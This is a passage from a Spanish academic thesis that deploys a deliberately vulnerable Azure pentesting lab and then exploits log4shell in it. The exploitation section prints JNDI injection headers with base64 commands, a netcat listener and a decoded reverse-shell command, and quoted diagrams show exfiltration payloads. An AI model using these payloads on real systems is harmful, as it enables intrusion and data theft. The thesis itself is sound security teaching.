65000 AllowVnetOutBound Cualquiera Cualquiera VirtualNetwork VirtualNetwork @ Allow
65001 AllowInternetOutBound Cualquiera Cualquiera Cualquiera Internet @ Allow
65500 DenyAllOutBound Cualquiera Cualquiera Cualquiera Cualquiera € Deny

llustracién 4.5 Reglas firewall red DMZ

A continuacién, en la tabla 4.1 se muestra a modo resumen el comportamiento permitido
en la DMZ [11].

Origen Destino Estado
Red externa DMZ Permitido
Red interna DMZ Permitido
DMZ Red externa Permitido
DMz Red interna Denegado

Tabla 4.1 Resumen de comportamiento red DMZ
Las reglas del firewall de entrada para la subred interna bloguean el Remote Desktop
Protocol, las solicitudes de ping y cualquier trafico que sea de la subred DMZ, y en cambio

permite la conexion SSH, aparte de las tres reglas por defecto comentadas previamente.

En lo referente a las reglas de salida, se permite cualquier trafico y también incluyen las
tres reglas por defecto.

En la ilustracidén 4.6 se pueden observar las reglas comentadas previamente.
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Descripcion del entorno y su puesta en funcionamiento.

Prioridad T Nombre Ty Puerto T Protocolo T, Origen Ty Destino T Accién T

" Reglas de seguridad de entrada

100 rdp_interna 3389 Tep Internet Cualquiera €3 Deny
102 A\ sshinternal 22 Tep Cualquiera Cualquiera @ Allow
103 A denegar_ping Cualquiera lcmp Cualquiera Cualquiera €3 Deny
106 A puertos Cualquiera Cualquiera Cualquiera Cualquiera @ Allow
123 block_dmz Cualquiera Cualquiera 20.125.119.187 Cualquiera @ Deny
65000 AllowVnetInBound Cualquiera Cualquiera VirtualNetwork VirtualNetwork Allow
65001 AllowAzurel oadBalanc. Cualquiera Cualquiera AzureloadBalancer Cualquiera Allow
65500 DenyAllinBound Cualquiera Cualquiera Cualquiera Cualquiera €3 Deny

" Reglas de seguridad de salida

200 permitir_internet Cualquiera Cualquiera Cualquiera Cualquiera @ Allow
65000 AllowVnetQutBound Cualquiera Cualquiera VirtualNetwork VirtualNetwork Allow
65001 AllowlnternetOutBound Cualquiera Cualquiera Cualquiera Internet Allow
65500 DenyAllOutBound Cualquiera Cualquiera Cualquiera Cualquiera € Deny

llustracién 4.6 Reglas firewall red interna

A continuacién, en la tabla 4.2 se muestra a modo resumen el comportamiento permitido
de la red interna, aunque en principio se iba a dejar la red interna aislada, fue necesario abrirla
debido a la necesidad de conectarse al Directorio Activo para poder realizar su configuracion
correctamente.

Origen Destino Estado
Red externa Red interna Denegado/Permitido?
DMZ Red interna Denegado
Red interna DMZ Permitido
Red interna Red externa Permitido

Tabla 4.2 Resumen de comportamiento red interna

Y por ultimo estan las reglas del firewall para la subred externa, que tiene la misma regla,
tanto para trafico entrante como saliente, de permitir cualquier conexion independientemente
del origen o el destino, a parte de las reglas por defecto comentadas previamente.

En el fichero install_kali.sh estan los comandos para que se instalen automaticamente en
la maquina las herramientas de nmap, john the ripper, wordlist, hydra, unzip, curl, java,
metasploit framework, mariadb, hashcat e impacket scripts.

2Por necesidades de configuracion del Directorio Activo

22



Descripcion del entorno y su puesta en funcionamiento.

El fichero install_server_web.sh también es un fichero de script, que instala Docker y una
pagina web con la vulnerabilidad log4shell dentro del mismo y la ejecuta en el puerto 8080,
también incluye la instalacion de una base de datos MySQL con datos precargados.

El comportamiento del fichero para generar la base de datos es el siguiente, primero genera
dentro de la maquina virtual un fichero llamado base.sqgl que contiene las instrucciones para
la creacidon de una tabla y los datos a cargar en la misma.

A continuacioén, genera otro fichero llamado usuarios.sqgl, que crea un nuevo usuario con su
contrasefia y le asigna todos los privilegios posibles y cambia el usuario del root para que se
pueda usar desde fuera del localhost.

Después de esto crea dos variables para la asignaciéon de la contrasefia durante la
instalacién de MySQL en la maquina virtual.

Tras todo esto se pasa a hacer la instalacion de MySQL y a ejecutar los scripts previos en
dicha instalacion, y por ultimo se elimina la linea 43 del fichero de configuracion para permitir
el acceso en remoto a la base de datos y se reinicia el servicio de MySQL

En el fichero install_windows_server.psl esta un script para la maquina virtual que va a
contener el Directorio Activo.

Este fichero se ejecuta durante la creacion de la maquina virtual y permite la instalacion de
un servidor SSH, que se activa de manera automatica, desactiva el firewall y el antivirus de
Windows, y procede a instalar las herramientas para convertir el Windows Server en un
Directorio Activo y le activa como DC.

El fichero main.tf contiene la informacion sobre donde se va a encontrar el grupo de
recursos, en este caso es West US 3, y un prefijo para el nombre de los recursos.

En el fichero maquinas.tfg esta la informacion sobre las distintas maquinas que se van a
crear en el entorno.

En la ilustracion 4.7 se puede ver la estructura que tiene una maquina virtual, en este
ejemplo se usa la maquina virtual de tfg-servidor-web.
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Descripcion del entorno y su puesta en funcionamiento.

resource "azurerm_linux_virtual_machine" "servidor_web" {

name = "¢${var.prefix}-servidor-web"
location = azurerm_resource_group.resource_gp.location
resource_group_name = azurerm_resource_group.resource_gp.name
network_interface_ids = [azurerm_network_interface.interfaz_servidor_web.id]
size = "Standard_DS1_v2"
admin_username = "${var.admin_username_web}"
admin_password = "${var.admin_password_web}"
disable_password_authentication = false
custom_data = filebase64("install_server_web.sh")
os_disk {

caching = "ReadlWrite"

storage_account_type = "Standard_LRS"
}
source_image_reference {

publisher = "Canonical"

offer = "UbuntuServer"

sku = "16.04-LTS"

version = "latest"

llustracion 4.7 Estructura de maquina virtual

Como se puede observar en la ilustracién 4.7, en la creacion de la maquina virtual se
especifica el nombre, la ubicacién, el grupo de recursos donde va a instalarse y la direcciéon
IP que va a tener dicha maquina.

También se establece el tipo de maquina que queremos en este caso es Standard_DS1 v2,
en este TFG todas las maquinas son del mismo tipo, la que se usa es de tipo general, pero se
podrian asignar otros tipos como Standard_F2 que es optimizada para procesos.

Luego se asigna un usuario y contrasefia, que se encuentran en un fichero aparte, y se
indica que fichero contiene el script inicializador que queremos para dicha maquina. El resto
datos son los referentes al disco duro y al sistema operativo que se utiliza en dicha maquina.

Para la maquina del Directorio Activo al tener otro sistema operativo tiene, aparte de lo
expuesto anteriormente, una extension la cual permite la ejecucion del script que instala y
establece la configuracion necesaria para la creacion del dominio y el servidor de SSH.

En el fichero networks.tf se encuentra toda la informacion relativa a las redes y subredes
que se han creado para el entorno, ademas de las interfaces de red para las distintas
maquinas virtuales.

Aqui esta la creacion de la red de empresa con un espacio de direcciones 10.0.0.0/16 y las
subredes de DMZ, externa e interna con el espacio de direcciones 10.0.1.0/24, 10.0.3.0/24 y
10.0.2.0/24 respectivamente.
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Descripcion del entorno y su puesta en funcionamiento.

A continuacion, en la ilustracion 4.8 se puede ver como es una interfaz de red de la maquina
y la IP publica de la maquina tfg-servidor-web.

non:

resource "azurerm_network_interface interfaz_servidor_web" {
name = "¢${var.prefix}-interfaz-web"
location

azurerm_resource_group.resource_gp.location
resource_group_name = azurerm_resource_group.resource_gp.name

ip_configuration {

name = "configuracion-dmz"
subnet_id = azurerm_subnet.subred_dmz.id
private_ip_address_allocation = "Dynamic"
public_ip_address_id = azurerm_public_ip.ip_servidor_web.id
}
}

resource "azurerm_public_ip" "ip_servidor_web" {

name = "${var.prefix}-ip-servidor-web"
location = azurerm_resource_group.resource_gp.location
resource_group_name = azurerm_resource_group.resource_gp.name
allocation_method = "Dynamic"
domain_name_label = "tfg2e22"

}

llustracion 4.8 Estructura de interfaz de red y IP publica

Como se puede observar en la ilustracion 4.8 ambas son dependientes, ya que la interfaz
de red recibe la asignacion de la IP por el mddulo de IP publica, como en el resto de mddulos,
se usan los campos de nombre y ubicacién de recursos, pero este al ser el de servidor web
se le ha afiadido un campo mas que es el del nombre de dominio, gracias a este campo se
puede acceder a la pagina web sin necesidad de conocer la IP, la url completa donde se ubica
la pagina web seria la siguiente: tfg2022.westus3.cloudapp.azure.com:8080.

El fichero ngs.tf contiene la informacion relativa a los distintos grupos de seguridad y la
asignacion a los mismos de las maquinas virtuales y a las subredes correspondientes.

En el fichero output.tf se encuentra la informacion que se muestra tras el despliegue, en
este caso se muestran las IP publicas de las tres maquinas virtuales y el DNS de la pagina
web.

El fichero provider.tf es el que contiene la informacién relativa Azure para que funcione, se
muestra en la ilustracion 4.9.
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file:///C:/Users/casa/Desktop/tfg2022.westus3.cloudapp.azure.com

Descripcion del entorno y su puesta en funcionamiento.

provider "azurerm" [
subscription_id = "${var.subscription_id}"
client_id = "${var.client_id}"
client_secret "${var.client_secret}"
tenant_id = "${var.tenant_id}"
features{}

llustracion 4.9 Formato de provider.tf

Este fichero permite recuperar los valores del fichero descrito previamente con
terrraform.tfvars, por lo tanto, en caso de usar una cuenta de Azure distinta con cambiar un
solo fichero el programa seguiria funcionando perfectamente.

El fichero script_poblacional_ad.psl contiene el script que permite cargar los datos en el
Directorio Activo.

Este script contiene una serie de nombres, apellidos y contrasefias que se van a utilizar
para la creacidon de los distintos usuarios, en concreto dispone de veintidés de cada una,
también tiene una serie de grupos, doce, para agrupar a los usuarios segun sus funciones.

El fichero esta dividido en las siguientes funciones:

AddADUser
AddADGrupo
Kerberos
Asrep
ADDComputer
SMBSigning

La funcion AddADUser es la encargada de agregar los distintos usuarios al Directorio
Activo, agrega aproximadamente a 40 usuarios, es aproximado debido al mecanismo de

creacion, ya que es aleatorio y se puede dar el caso de que trate de agregar el mismo usuario
dos veces, lo cual devuelve un error.

La funcién comienza con el valor 40, que es el nUmero de usuarios que queremos agregar,
en caso de necesitar mas usuarios siempre se puede editar, y relaja los requisitos minimos
para las contrasefias de los usuarios.

Esta funcién genera 40 usuarios a partir de seleccionar nombre y apellido de manera
aleatoria y les asigna una contrasefia también aleatoria.
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Descripcion del entorno y su puesta en funcionamiento.

Tras esto asigna como poco a dos usuarios 0 un maximo de nueve, una descripcién que
contiene la contrasefia del usuario.

Luego asigna como poco dos usuarios o un maximo de nueve una contrasefia por defecto,
y se afiade al primer usuario al grupo de administradores, y vuelve hacer los mismo con otros
usuarios para quitar el requisito de contrasefa, estos a mayores se les agrega a todos al grupo
de administradores.

A continuacion, con la funciéon AddADGrupo, se van creando los doce grupos que estaban
previamente y se agregan un numero aleatorio de usuarios en ellos, salvo en el de CEO que
siempre sera uno. Y por ultimo agrega a un grupo aleatorio al grupo de DNSAdmins.

Posteriormente se crean los servicios para kerberos con la funcidén Kerberos, esto lo hace
seleccionando de la lista de usuarios creados tantos como ordenadores se crearon, estos
usuarios se les asigna una contrasefia de la lista de contrasefias posibles y se pasa a asignar
como Service Principal Names (SPN).

A continuacion, se cogen entre uno y tres usuarios y se les pone una contrasefia de la lista
generada al principio y se les desactiva la pre-autenticacion de kerberos, estos usuarios seran
usados para el AS-REP Roasting.

Posteriormente con la funcion AddADComputer se pasan a agregar entre cuatro y ocho
ordenadores al dominio, asignandoles un usuario al azar, y también se crean entre uno y dos
ordenadores asignados a un grupo de usuarios, también escogido de manera aleatoria.

Por dltimo, mediante la funcion SMBSigning, se desactiva el SMB Signing, que es la firma
de server message block.

En el fichero usuarios.tfvars se encuentran todos los usuarios y contrasefias necesarios
para la creacion de la maquina virtual, se muestran en la ilustracion 4.10, los huecos en blanco
es donde esta la contrasefia, la ventaja de tenerles en un fichero independiente es que se
pueden cambiar mas facilmente.
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Descripcion del entorno y su puesta en funcionamiento.

admin_username_ad = "admin3"
admin_password _ad = " "
admin_username_kali = "kali"
admin_password _kali = " "
admin_username_web = "admin3"

L1 ]

admin_password_web

llustraciéon 4.10 Contenido del fichero usuarios.tfvars

Y por ultimo tenemos el fichero variables.tf en el que se recogen las descripciones de todas
las variables utilizadas tanto en el fichero usuarios.tfvars como en terraform.tfvars.

Una vez analizados todos los ficheros que componen el TFG pasamos a como poner en
funcionamiento el entorno para que funcione correctamente.

4.3.Despliegue del entorno
Lo primero es tener el codigo descomprimido en local, una vez descomprimido se procede

a abrir un terminal PowerShell en la carpeta donde hemos ubicado el cédigo y a introducir el
siguiente comando:

terraform init

El resultado de la ejecucion se muestra en la ilustracién 4.11.
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Descripcion del entorno y su puesta en funcionamiento.

tfg\tfg\tfg-entorno-pentesting> terraform init
Initializing the backend...

Initializing provider plugins...
indi Tatest version of hashicorp/azurerm...
ing hashicorp/azurerm v3.33.0...
- Installed hashicorp/azurerm v3.33.0 (signed by HashicCorp)

erraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository

so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

llustracion 4.11 Salida del comando terraform init

A continuacion, en ese mismo terminal se introduce el siguiente comando

az login

Una vez introducido se abrird una pestafia en el navegador web por defecto en el que se

Ahora deberemos introducir el siguiente comando

nos pedird el usuario y contrasefia de la cuenta de Azure, una vez iniciada la sesion se
mostrara lo mismo que en la ilustracién 4.1.

terraform apply -var-file usuarios.tfvars

Tras un proceso de carga se mostrara la salida de la ilustracion 4.12
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Descripcion del entorno y su puesta en funcionamiento.

35 to add, 0 to change, 0 to destroy.

Changes to outputs:
dns_servidor_web = (known after apply)
ip_kali (known after apply)
ip_servidor_ad (known after apply)

ip_servidor_web (known after apply)
Do you want to_perform these actions? _
Terraform will perform the actions described above.
only 'yes' will be accepted to approve.

Enter a value:

llustracion 4.12 Salida del comando terraform apply

Se introduce yes y a continuacion comienza el despliegue del entorno, este proceso tarda
unos minutos. Una vez finalizado se muestra una salida parecida a la ilustracion 4.13, en cada
ejecucion que se haga del entorno las IPs mostradas cambiaran, a continuacion, todos los
comandos que se hagan haran referencia alguna de esas IPs, en las ilustraciones se vera la
IP actual, pero el comando se escribira indicando que IP se debe introducir sin importar la
asignacion actual.

dns_servidor_web = "tfg2022.westus3.cloudapp.azure.com”
ip_kali = "20.106.123.37"
ip_servidor_ad = "20.106.93.112"

_servidor_web = "20.106.89.190"

[lustracion 4.13 Salida al terminar la construccidon del entorno

Una vez finalizada la construccién del entorno, es necesario configurar el Directorio Activo,
para ello tenemos que abrir un nuevo terminal desde el que ejecutamos el siguiente comando:

scp script_poblacional_ad.ps1l arranque_ad.ps1l admin3@IP_SERVIDOR_AD:

Una vez ejecutado, pregunta para afiadirlo al fichero known_hosts de nuestra maquina, hay
que responde yes y a continuacion pide la contrasefa del usuario admin3.
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Descripcion del entorno y su puesta en funcionamiento.

La salida de este comando se muestra en la ilustracién 4.14 y el resultado de la ejecucion
es que la maquina tfg-servidor-ad ha sido afiadida al fichero host de nuestra maquina para
futuras conexiones SSH y se han copiado a la carpeta C:/users/admin3 los ficheros de
script_poblacional_ad.psl y arranque_ad.ps1.

Ps c:\Users\casa\Desktop\tfg\tfg\tfg-entorno-pentesting> scp script_poblacional_ad.psl arranque_ad.psl admin3@20.25.185.254:
ici '20.25.185.254 (20.25.185.254) ' can't be established.

Are you sure you want to continue connec
'

Please type 'yes', 'no’' or the fingerprint:

arning: Permanently added '20.25.185.254' (EcCDSA) to the list of known hosts.

admin3@20.25.185.254"'s password:

script_poblacional_ad.psl 100% 6424 15.3kB/s  00:00
arranque_ad.psl 100% 93 0.4KB/s  00:00

llustracion 4.14 Copia de ficheros al Directorio Activo

Una vez copiados ambos ficheros procedemos a conectarnos a la maquina mediante el
comando:

ssh admin3@IP_SERVIDOR_AD

Esta vez solo nos va a pedir la contrasefia, una vez dentro de la maquina virtual pasamos
a introducir el siguiente comando:

powershell < arranque_ad.psl

Con este comando se pasa a ejecutar automaticamente el arranque_ad.psl que permite
cargar y ejecutar el script_poblacional_ad.psl, que es el que tiene las instrucciones para la
cargar los datos al Directorio Activo, debido al mecanismo que tiene para la generacion de
usuarios, se puede dar algun error de creacién, pero no influye para nada en el resultado final.

También se puede probar que la pagina web funciona correctamente, para ello se puede
hacer uso del Postman, haciendo una solictud get a la direccién
http://tfg2022.westus3.cloudapp.azure.com:8080 y afiadiendo en la cabecera un campo de X-
Api-Version con un valor cualquiera nos devolvera la pagina web, en este caso es el mensaje
de Hello, world!

Con todo esto, el entorno ya estaria configurado correctamente y se podria pasar analizar
las vulnerabilidades y su explotacion.

En la ilustracion 4.15 se puede observar una aproximacion a las relaciones entre las
distintas maquinas y redes.
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Descripcion del entorno y su puesta en funcionamiento.

10.0.0.0/16 10.0.3.0/24
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10034
/d 2960-24TT "™~
_AT5960-24TT subred tfg-intema \i
10.0.1.0/24 Server-PT
Server-PT tfg-servidor-ad
tfg-servidor-web 10024

10.0.1.4

llustracion 4.15 Mapa de los recursos

Aungue en la ilustracion 4.15 se muestran routers y switches, en el entorno no estan
construidos como tal, se usan para diferenciar mejor las distintas redes y subredes que
contiene el entorno.

Una vez finalizado el trabajo se debe destruir el entorno, se puede hacer con el siguiente
comando.

terraform destroy -var-file usuarios.tfvars

En la ilustracion 4.16 se muestra la salida que muestra la ejecucion del comando.

Plan: 0 to add, 0 to change, 35 to destroy.

Changes to Outputs:
dns_servidor_web
ip_kali
ip_servidor_ad
ip_servidor_web

"tfg2022.westus3.cloudapp.azure.com"
"20.106.123.37"
"20.106.93.112"
"20.106.89.190"

Do you really want to destroy all resources?
Terraform will destroy all your managed infrastructure, as shown above.
There is no undo. only 'yes' will be accepted to confirm.

Enter a value:

llustracion 4.16 Salida del comando terraform destroy

Se introduce yes y al cabo de unos minutos el entorno se destruiria, una vez finalizado se
mostrara el siguiente mensaje: Destroy complete! Resources: 35 destroyed.
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Descripcion del entorno y su puesta en funcionamiento.

Con esto el entorno queda eliminado de nuestra nube, pero a mayores durante la creacion
se crea un NetworkWatcherRG que también debe ser destruido, para ello vamos a un
navegador web e iniciamos la sesion con nuestra cuenta de Azure y procedemos a eliminarlo
desde ahi. En la ilustracion 4.17 se ve este proceso.

(| NetworkWatcherRG ¢ « - ><

Grupo de recursos

‘ P Buscar ‘ «  + Crear @Administrarvist v ﬁﬂ Eliminar grupo de recursos 1)) Actualizar

A ‘s . .
(4] Informacion general V' Informacion esencial Vista JSON

f Registro de actividad

Recursos  Recomendaciones
Ay Control de acceso (IAM)

A oroo

] ¢Esta seguro de que desea eliminar 'Net... X

puede revertir. La accion que va a realizar no se puede deshacer. Si continta, se

eliminara este grupo de recursos y todos los recursos que contiene de forma
1 permanente.

n Advertencia: La eliminacion del grupo de recursos 'NetworkWatcherRG' no se

ESCRIBA EL NOMBRE DEL GRUPO DE RECURSOS:

networkwatcherrg| v

; RECURSOS AFECTADOS

Se eliminaran 1 recursos de este grupo de recursos.

llustracion 4.17 Eliminacion del NetworkWatcherRG

Tras unos minutos se elimina, y el entorno y todo lo que se ha generado con el desaparece
de nuestra cuenta de Azure.

Por ultimo, ejecutamos el comando

az vm image terms cancel --urn Rali-linux:kali:kali:2622.3.0

Y de esta forma retiramos la aceptacion del acuerdo para el uso de Kali Linux, dejando la
cuenta de Azure como estaba originalmente.
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Vulnerabilidades y su explotacion

5. VULNERABILIDADES Y SU EXPLOTACION

Este apartado se ha dividido en dos grandes bloques, uno por cada maquina, dentro de cada
bloque se divide en apartados de analisis y explotacion de las distintas vulnerabilidades
encontradas.

5.1.Maquina tfg-servidor- web

La primera maquina que vamos a atacar es la de tfg-servidor-web, en esta maquina hay
una pagina web que contiene la vulnerabilidad de log4shell [12], la pagina funciona siempre
que se le pase en la cabecera un valor para X-Api-Version, en la ilustracion 5.1 se puede ver
la solicitud a través de Postman con una cabecera inocua.

Overview GET http://tfg2022.westus: ® + oo No Environment v
http://tfg2022.westus3.cloudapp.azure.com:8080 @) save
GET v~ http://tfg2022.westus3.cloudapp.azure.com:8080
Params Authorization Headers (7) Body Pre-request Script Tests Settings Cookies
Headers 6 hidden
KEY VALUE DESCRIPTIO oco Bulk Edit Presets v
X-Api-Version Hola
Body Cookies Headers (5) Test Results @& 2000K 916ms 177B Save Response v
Pretty Raw Preview Visualize Text ~ = m Q

1 Hello, wozrld!

llustracion 5.1 Solicitud a la pagina web con Postman

Antes de explotar la vulnerabilidad, voy analizar en que consiste dicha vulnerabilidad y su
importancia.
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Vulnerabilidades y su explotacion

5.1.1. Analisis de la vulnerabilidad log4shell

La vulnerabilidad log4shell [13] es una vulnerabilidad que afecta a la libreria log4j y consiste
en una ejecucion remota de codigo, se recoge en CVE-2021-44228 [14].

Esta vulnerabilidad se declaré como critica, es decir obtuvo la maxima puntuacion de 10/10
en la escala de CVSS.

La vulnerabilidad fue publicada para el publico general el dia 9 de diciembre del 2021 y
desde ese primer dia ya habia publicados exploits para aprovecharla, esto fue una de las
causas que hizo que fuera critica, ya que la libreria log4j es utilizada en software empresarial,
algunas de las empresas afectadas por esta vulnerabilidad fueron Apple, Amazon, Twitter,
Steam y Minecratft.

Tras la actualizacion para la correccion de dicha vulnerabilidad se encontraron nuevas
vulnerabilidades, que son:

CVE-2021-45046 [15]
CVE-2021-45105 [16]
CVE-2021-44832 [17]

Voy analizar las cuatro vulnerabilidades debido a la gran importancia que han tenido, pero
la pagina web que voy a explotar solo dispone de la primera vulnerabilidad, la CVE-2021-
44228.

Esta vulnerabilidad afecta a la libreria publica Apache Log4j, que esta desarrollada por la
Apache Foundation, y su funcidn es permitir un registro de las actividades realizadas por la
ejecucion de un programa Java, aungque no es una funcion destina al usuario final, para los
desarrollos y mantenimientos es muy utilizada.

La forma de explotarla es mandar un codigo para que se registre en esa libreria y
automaticamente el atacante puede ejecutar cédigos de manera remota, dandole el control
total del sistema.

Esa es la explicacion resumida de la vulnerabilidad, a continuacion, voy hacer un analisis
mas técnico de la misma.

En el escenario normal de uso de esta libreria, el usuario o cliente mandaria una solicitud
para consultar la pagina web a un servidor y este almacenaria en un registro la informacion
relativa a dicha consulta, se puede ver esto en la ilustracion 5.2.
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Normal

Log4dJ HTTP request is sent
scenario n GET /index.htm
User-Agent: Mozilla/5.0

og4J logs the HTTP request

[client] - /index_html - Mozilla/S.0 -

il
i

Fuente: news.sophos.com

llustracion 5.2 Escenario normal de uso de log4j
El uso durante un ataque se muestra en la ilustracion 5.3.

Vulnerable

[arget XD
- , X
Malicious HTTP request is sent _

.n. GET /index.html —

Exfiltration M -
attack User-Agent:S{jndi:(service)://[attack serverurl] /?s=S{env.AWS_ACCESS_KEY_ID}
allau
example
5=
oIe
w Target sends HTTP request to the attacker revealing sensitive data
— —
Fuente: news.sophos.com http://attackserver.url | /7s= [AEEIR®S]

llustracion 5.3 Escenario de ataque log4j

Como se puede observar en la ilustracién 5.3 el atacante no solo genera la solicitud de la
pagina web, sino que también afiade una llamada al servicio JNDI, con su ubicacién y lo que
quiere obtener y cuando el servidor la recibe responde al servicio JNDI con la informacién
solicitada.

Esto es posible debido a la gran cantidad de herramientas disponibles para modificar
cabeceras, cookies o demas informacién que se afiade en cada solicitud al servidor.

En la ilustracion 5.4 se puede observar como funciona el ataque en sus distintas etapas y
las medidas para mitigarlo.
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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
] ]
= “” & ?
GET /test HTTP/1.1 HTTP ${jndi:1ldap://evil.xa/x} 1dap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} 0 DISABLE JNDI LOOKUPS

€ BLOCK WITH WAF
€ PATCH LOG4)

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victim.xa implementation Idap://evil.xa
2

SRS
e o B — o - EA
== EEE Qosaselocy &= [zoanal
[P -
€ DISABLE (5)
REMOTE »L n
CODEBASES
4 Ly

public class Malicious implements Serializable | dn:
e javaClassName: Malicious
5‘°‘::m§h_mus Java codes javaCodebase: http://evil.xa
javaSerializedData: <...>

Fuente: )

www.goveert.ch JAVA deserializes (or downloads) the
©®® covcerTeh malicious Java class and executes it.

The LDAP server responds with directory
information that contains the malicious
Java class

llustracion 5.4 Ataque log4j y medidas de mitigacion

Como se observa en la ilustracion 5.4, el atacante manda una solicitud con la cabecera
modificada para que se llame al servicio de JNDI, si el servidor tuviera un firewall podria
bloquear la solicitud, pero como no es el caso, la solicitud sigue adelante y la solicitud de JNDI
se registra en el log4j, las soluciones para cortar el ataque a esta altura seria, la desactivacion
de la libreria o la actualizacién de la misma, tras esto el log4j interpreta la solicitud y se
comunica con el LDAP, para evitarlo se podria desactivar los JNDI lookpups, y tras esto el
servidor LDAP interpreta la solicitud y pasa a ejecutarla, la manera de evitarlo seria desactivar
el acceso remoto a la base de datos [18].

Esta vulnerabilidad es la que se encuentra en la pagina web desplegada en el entorno de
este TFG, esta vulnerabilidad ha estado presente desde la version 2.0 beta 9 hasta la version
2.14.1, es decir desde el afio 2013 hasta el 2021.

Tras lanzar los parches que solucionaban esta vulnerabilidad, se descubrieron otras tres
nuevas vulnerabilidades, pero ninguna de ellas alcanzo el mismo nivel critico de seguridad,
las voy analizar a continuacion.

La vulnerabilidad CVE-2021-45046 empez06 teniendo una puntuacion baja de 3.7, debido a
gue en un principio solo afectaba a ciertas configuraciones no predeterminadas, pero
posteriormente se elevd su puntuacion a 9 ya que se encontraron nuevas formas de atacar
los servicios mediante la ejecucién de cédigo remoto y codigo local.
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En esta vulnerabilidad un atacante que lance una busqueda JNDI con datos maliciosos
puede provocar una situaciéon de DoS o lograr la ejecucidon de coédigo remoto.

La vulnerabilidad CVE-2021-45105 permitia a un atacante hacer una busqueda recursiva
gue provocaria una situacion de denegacion de servicio, obtuvo una puntuacion de 5,9.

Y por ultimo esta la vulnerabilidad CVE-2021-44832, la cual obtuvo una puntuacién de 6,6
y permitia la ejecucion mediante la carga de la configuracion remota en un archivo XML del
conector JDBC para bases de datos.

En la siguiente tabla 5.1 se recoge la probabilidad de explotacion de estas vulnerabilidades
y un resumen de su problematica [19].

CVE Probabilidad de Tipo de ataque
explotacién
CVE-2021-44228 Alta RCE
CVE-2021-45046 Baja RCE, LCE, DoS
CVE-2021-45105 Baja DoS
CVE-2021-44832 Baja RCE y ACE

Tabla 5.1 Resumen de vulnerabilidades log4j

Aunque ya ha pasado casi un afio desde que se descubrié esta vulnerabilidad de manera
publica, en la actualidad adn sigue habiendo servicios que no han sido correctamente
parcheados o que los responsables desconocen que tienen en uso dicha libreria, segun
Tenable el 72% de las organizaciones aun son vulnerables a este ataque [20].

Esto es debido a que en el mundo empresarial la gestion de inventarios tanto de hardware
como software no siempre estan correctamente estructurado o actualizados.

5.1.2. Explotacion de la vulnerabilidad log4shell

Ahora que ya sabemos en que consiste la vulnerabilidad y su repercusion, voy a proceder
a explotarla.

Empezamos pasando el fichero que contiene el exploit a la maquina tfg-kali, este fichero se
ha pasado mediante el uso de scp, con el usuario es kali y su contrasefa.

No es necesario instalar ninguna herramienta, ya que se han instalado durante el
despliegue del entorno.
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Una vez pasado el script, procedemos a entrar en la maquina mediante SSH vy
descomprimimos el exploit, y a continuacion le ejecutamos de la siguiente manera:

java -jar INDIExploit-1.2-SNAPSHOT.jar -1 10.0.3.4 -p 8888

A continuacion, desde otro terminal de Kali Linux, procedemos a solicitar la pagina web con
el siguiente comando:

curl tfg2022.westus3.cloudapp.azure.com:8080 -H 'X-Api-Version:
${jndi:ldap://10.0.3.4:1389/Basic/Command/Base64/ZWNobyDigIxPcmRLbmF
kRb3IgdnVsbmVyYWRv4oCdID4gc21va2luZ2dibi50eHQ=} "'

Con este comando estamos solicitando la pagina web y pasando a la web una cabecera
con datos maliciosos, donde indicamos la direccién maliciosa del servicio de JNDI y el LDAP
y el comando que queremos ejecutar.

En este caso el comando es:

echo “Ordenador vulnerado” > smoRinggun.txt

Que al codificarlo en base64 [21] queda de la siguiente manera:

‘ ZWNobyDigJIxPcmRLbmFRb3IgdnVsbmVyYWRv4oCdID4gc21va2luZ2dibi50eHQ= ‘

A continuacion, en las ilustraciones 5.5 y 5.6 se muestra este proceso.

tfa2022.westus3. cLoudapp.azure. con:8080 -H 'X-Api-Version: $1jndi:ldap://10.0.3.4: Dig] VsbmiyYy Digc21va2luz2d1bis0eng-H'

Hello, world!

llustracion 5.5 Solicitud de la pagina web con primera cabecera maliciosa

Como se puede observar en la ilustracién 5.5 la solicitud devuelve el Hello, world!, como
pasaba con la cabecera inocua que se probé con la herramienta Postman.
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' INDIExploit-1.2-SNAPSHOT. jar -1 10.0.3.4

istening on 1

llustracion 5.6 Comportamiento del exploit con la primera solicitud

En la ilustracién 5.6 se puede ver como se pasan por las distintas etapas descritas en
ilustracion 5.4

Posteriormente abrimos un nuevo terminal en el tfg-kali donde ejecutamos el comando:

nc -lLnvp 9601

Con este comando, netcat, lo que estamos haciendo es indicar al ordenador que abra un
puerto y se mantenga a la escucha, el puerto en este caso es el 9001, eso serian las letras |
y p, con la v indicamos que queremos recibir informacién sobre la conexion, y con la n evitamos
que realice busquedas de DNS o servicios.

Esto es lo que nos permite tener el shell inverso.

Y ahora desde el terminal previo donde lanzamos la solicitud de la pagina web, introducimos
lo siguiente:

curl tfg2022.westus3.cloudapp.azure.com: 8080 -H 'X-Api-Version:
${jndi:ldap://10.0.3.4:1389/Basic/Command/Base64/bmMgMTAuMC4zLjQgOTA
wWwMSAtZSAvYmlLuL3No} '

Este segundo comando es:

nc 10.0.3.4 9001 -e /bin/sh

Y codificado en base64 [21] queda de la siguiente manera:

bmMgMTAuMC4zL jQgOTAWMSAtZSAvYmLuL 3No

40



Vulnerabilidades y su explotacion

En las ilustraciones 5.7 y 5.8 se muestra la ejecucion de estos comandos.

t£22022.westus3. cloudapp. azure. con:8080 -H '¥-Ap
Hello, world!

itkpvddVuecl.class

llustracion 5.8 Comportamiento del exploit con la segunda solicitud

Ahora en el otro terminal, donde ejecutamos el nc, pasamos a tener el control del servidor
web, en la ilustracién 5.9 se muestra con la ejecucién de los comandos id, que nos indica que
somos el root y listando los ficheros y carpetas disponibles, como se puede observar, aparece
el fichero generado anteriormente el smokinggun.txt y con el comando cat le mostramos.

4(adm),6(disk),10(wheel),11(floppy),2@(dialout),26(tape),27(video)

run
sbi
smokinggun.txt

llustracion 5.9 Shell inverso en tfg-servidor-web

Una vez que tenemos en ejecucion el shell inverso, tenemos acceso total a la maquina, ya
gue como se muestra en la ilustracion 5.9 somos root, en este caso como la pagina web esta
contenida dentro de un Docker el acceso que tenemos es mas limitado, pero si en lugar de un
